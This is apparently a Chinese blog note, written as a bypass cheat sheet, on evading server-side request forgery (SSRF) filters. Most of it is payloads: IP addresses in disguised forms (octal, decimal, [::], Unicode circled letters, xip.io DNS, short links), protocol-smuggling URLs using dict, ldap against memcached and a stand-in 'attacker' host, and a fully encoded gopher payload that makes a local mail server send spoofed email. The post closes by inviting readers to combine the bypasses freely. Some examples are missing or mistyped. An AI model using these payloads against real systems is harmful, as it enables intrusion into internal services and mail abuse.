- 昨天忘了在公众号还是微博上看到的了,看到一个SSRF绕过的技巧,使用的是
- ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
- 绕过的,自己也没遇到过。然后想想自己对SSRF绕过还是停留在之前的了解,也没学习过新的绕过方法,所以特意找了找资料,学习学习最新黑科技,充充能。
能精简的就不扯淡,一句话就是:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
举几个例子:
以上这些不是本文的重点,下面说下重点介绍的SSRF绕过的方法。
- http://127.0.0.1:80
- http://localhost:22
- 利用[::]绕过localhost
- http://[::]:80/ >>> http://127.0.0.1
也有看到利用http://0000::1:80/的,但是我测试未成功
- http://example.com@127.0.0.1
- http://dwz.cn/11SMa >>> http://127.0.0.1
利用的原理是DNS解析
- http://127.0.0.1.xip.io/
- http://www.owasp.org.127.0.0.1.xip.io/
在域名上设置A记录,指向127.0.1
- 也不一定是上传,我也说不清,自己体会 -.-
- 修改"type=file"为"type=url"
- 比如:
- 上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
- 利用Enclosed alphanumerics
- ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
- List:
- ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
- ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
- ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
- ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
- Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
- ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
- ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
- ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
- 127。0。0。1 >>> 127.0.0.1
- 可以是十六进制,八进制等。
- 115.239.210.26 >>> 16373751032
- 首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
- 然后把 73efd21a 这十六进制一起转换成8进制
- 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
- http://127.0.0.1 >>> http://0177.0.0.1/
- http://127.0.0.1 >>> http://2130706433/
- http://192.168.0.1 >>> http://3232235521/
- http://192.168.1.1 >>> http://3232235777/
- http://0/
- Dict://
- dict://<user-auth>@<host>:<port>/d:<word>
- ssrf.php?url=dict://attacker:11111/
- SFTP://
- ssrf.php?url=sftp://example.com:11111/
- TFTP://
- ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
- LDAP://
- ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
- Gopher://
- ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
各种绕过进行自由组合即可